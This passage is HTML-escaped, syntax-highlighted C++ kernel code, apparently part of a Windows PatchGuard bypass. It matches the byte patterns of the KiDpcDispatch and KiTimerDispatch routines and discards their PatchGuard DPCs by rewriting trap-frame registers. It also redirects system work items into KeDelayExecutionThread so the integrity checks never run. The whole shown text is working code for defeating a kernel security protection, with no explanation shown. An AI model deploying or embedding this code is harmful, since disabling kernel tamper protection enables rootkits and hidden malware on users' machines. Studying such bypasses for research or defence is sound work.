&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 58&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 59&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 60&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 61&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;pgc_disable_dpc_dispatch&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;memcmp&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;bytes&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;#34;&lt;/span&gt;&lt;span class="se"&gt;\x48\x31&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 62&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;mem&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;is_cannonical&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;tf&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;rdx&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 63&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;tf&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;rip&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="mh"&gt;0x70&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;=&lt;/span&gt; &lt;span class="n"&gt;tf&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="n"&gt;tf&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;tf&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;rip&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mh"&gt;0x70&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 64&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="k"&gt;constexpr&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;pgc_debug&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 65&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="s"&gt;&amp;#34;Discarded KiDpcDispatch DPC: %llx&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;tf&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;rip&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 66&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;tf&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;rip&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="kt"&gt;uint64_t&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="n"&gt;tf&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;rsp&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 67&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;tf&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;rsp&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 68&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nb"&gt;true&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 69&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 70&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 71&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 72&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 73&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;// KiTimerDispatch clone called from KiExecuteAllDpcs, decrypts and calls into pg context.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 74&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;//
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 75&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="k"&gt;constexpr&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;pgc_disable_timer_dispatch&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 76&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="mh"&gt;0x20&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 77&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;// pushfq
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 78&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;bytes&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt; &lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mh"&gt;0x48&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="n"&gt;bytes&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mh"&gt;0x9C&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 79&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;j&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;j&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="mh"&gt;0x20&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;j&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 80&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;// sub rsp
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 81&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;bytes&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt; &lt;span class="n"&gt;j&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt; &lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mh"&gt;0x48&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="n"&gt;bytes&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt; &lt;span class="n"&gt;j&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mh"&gt;0x83&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 82&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="k"&gt;constexpr&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;pgc_debug&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 83&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="s"&gt;&amp;#34;Discarded KiTimerDispatch: %llx&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;tf&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;rip&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 84&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;tf&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;rip&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="kt"&gt;uint64_t&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="n"&gt;tf&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;rsp&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 85&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;tf&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;rsp&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 86&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nb"&gt;true&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 87&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 88&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 89&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 90&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 91&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 92&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;ke&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;get_eprocess&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;ntpp&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;get_initial_system_process&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 93&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;// Deferred work item?
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 94&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;//
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 95&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="kt"&gt;uint64_t&lt;/span&gt; &lt;span class="n"&gt;last_valid_vpn&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 96&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="mh"&gt;0x20&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 97&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;// Validate stack pointer.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 98&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;//
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 99&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;auto&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;value_ptr&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;stack&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="p"&gt;];&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;100&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="k"&gt;auto&lt;/span&gt; &lt;span class="n"&gt;vpn&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kt"&gt;uint64_t&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;value_ptr&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;12&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;vpn&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="n"&gt;last_valid_vpn&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;101&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;mem&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;is_address_valid&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;value_ptr&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;102&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;break&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;103&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;104&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;last_valid_vpn&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;vpn&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;105&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;106&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;107&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;// Check if it matches the value we expected.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;108&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;//
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;109&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;value&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;value_ptr&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;110&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;value&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;ke&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;delay_execution_thread&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="n"&gt;value&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;ke&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;wait_for_multiple_objects&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="n"&gt;value&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;ke&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;wait_for_single_object&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;111&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;continue&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;112&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;113&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;114&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;// Align stack
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;115&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;tf&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;rsp&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;=&lt;/span&gt; &lt;span class="o"&gt;~&lt;/span&gt;&lt;span class="mh"&gt;0xF&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;116&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;// Set the arguments on stack
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;117&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;tf&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="kt"&gt;uint64_t&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="n"&gt;nt&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;mode_t&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;kernel_mode&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;118&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;tf&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;rdx&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;false&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;119&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="kt"&gt;int64_t&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;tf&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;r8&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;tf&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;rsp&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mh"&gt;0x28&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mh"&gt;0x11F0231A4F3000&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;120&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;// Simulate call [KeDelayExecutionThread]
